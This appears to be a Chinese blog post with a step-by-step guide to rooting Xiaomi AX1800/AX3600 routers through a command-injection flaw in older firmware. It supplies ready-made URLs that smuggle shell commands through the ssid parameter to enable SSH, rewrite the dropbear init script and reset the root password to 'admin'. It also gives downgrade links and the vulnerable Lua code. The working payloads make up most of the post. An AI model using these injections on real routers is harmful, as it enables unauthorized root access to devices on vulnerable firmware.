小米路由器AX1800 root教程

用管理员账号,登陆小米路由器之后,抄一下地址栏的stok,这个就是等下要用来破解注入的auth token

 

然后依次执行下面几步

 

  1. 开启ssh
  2. 启用ssh
  3. 修改密码为admin
  4. 可以用ssh工具 ssh -v [email protected]
  5. 登陆密码为:admin
http://192.168.31.1/cgi-bin/luci/;stok=5ea26def574027e6f17895e01554e60c/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B


http://192.168.31.1/cgi-bin/luci/;stok=5ea26def574027e6f17895e01554e60c/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

http://192.168.31.1/cgi-bin/luci/;stok=5ea26def574027e6f17895e01554e60c/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

参考资料

 

AX3600/AX1800官方固件开启SSH,增加一步到位代码

这段时间一直抽时间在分析固件,昨天终于找到漏洞,web注入方式,不过该漏洞在最新版本应该已经堵上了

详细方法及固件版本晚点整理公布

root密码算法同之前

 

0526:方法公布

----
有漏洞固件,AX3600 1.0.17版本/AX1800 1.0.34版本;AX3600的1.0.20和1.0.50版本应该已经修复了,这两个固件获取SSH的方法看@高渐离大神的帖子哈

下载地址
AX3600

  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r3600/miwifi_r3600_firmware_5da25_1.0.17.bin

复制代码

0604:震惊!经由坛友@zhanshrd 验证,AX1800 1.0.34版本固件居然同样也可用以下方法开启SSH,最新的1.0.328的固件未知,有条件的同学可以试试或使用1.0.34获取SSH后尝试使用升级保留SSH的方法看看

AX1800

  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_firmware_6718d_1.0.34.bin

复制代码

降级到对应版本,进行初步设置,可以先关掉自动升级或不接外网防止自动升级到最新版本

 

讲一下漏洞利用

管理密码登录管理页面后

  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

复制代码

注入地址及示例,其它的大家发挥吧

  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B

复制代码

返回{"code":0}即代表成功,其实成不成功都会返回这个:)

注意传参顺序及指令前后都要加一个分号,即%3B,ssid=-h是必须的,否则需要等1-2分钟才能注入成功,虽然返回很快

 

按理只要利用漏洞注入命令注释掉或删掉/etc/init.d/dropbear中如下判断代码(135-137行),重启即可开启SSH,root密码请自行根据SN计算;不想计算的或不知道怎么计算的,可以看7楼的方法

  1.  
  2.        # 稳定版不能打开ssh服务
  3.        flg_ssh=`nvram get ssh_en`
  4.        channel=`/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL`
  5.        if [ "$flg_ssh" != "1" -o "$channel" = "release" ]; then
  6.                return 0
  7.        fi
  8.  

复制代码

0601:一步到位代码,根据其他大侠修正简化

  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

复制代码

代码为网友赞助我拼凑的。。哈哈。@fredliang44 @xjboss @高渐离

 

0528:漏洞原理

解包固件看里面的lua脚本,17版本的固件lua脚本不知为啥没有加密(或许是故意的,哈哈)

有漏洞的这个api应该是针对AX3600新加的,api/misystem/set_config_iotdev调用的函数如下

  1. function setConfigIotDev()
  2.    local XQFunction = require("xiaoqiang.common.XQFunction")
  3.    local LuciUtil = require("luci.util")
  4.    local result = {
  5.        ["code"] = 0
  6.    }
  7.  
  8.    local ssid = LuciHttp.formvalue("ssid")----参数直接代入,未过滤
  9.    local bssid = LuciHttp.formvalue("bssid")----参数直接代入,未过滤
  10.    local uid = LuciHttp.formvalue("user_id")----参数直接代入,未过滤
  11.  
  12.    XQLog.log(debug_level, "ssid = "..ssid)
  13.    XQLog.log(debug_level, "bssid = "..bssid)
  14.    XQLog.log(debug_level, "uid = "..uid)
  15.    if XQFunction.isStrNil(ssid)
  16.        or XQFunction.isStrNil(bssid)
  17.        or XQFunction.isStrNil(uid) then
  18.        result.code = 1523
  19.    end
  20.    if result.code ~= 0 then
  21.        result["msg"] = XQErrorUtil.getErrorMessage(result.code)
  22.    else
  23.        XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)----参数直接代入,未过滤
  24.    end
  25.    LuciHttp.write_json(result)
  26. end

复制代码

可以用这道命令来改文件:

  1. sed -i '/flg_ssh.*release/{n;s/return/true/}' /etc/init.d/dropbear

复制代码

 

可以通过下面这个注入地址来把密码改成admin

  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

复制代码

 

大家折腾起来吧

 

分类: 电脑数码 标签: 小米 路由器 OpenWRT 破解 root 发布于: 2020-12-03 11:02:24, 点击数: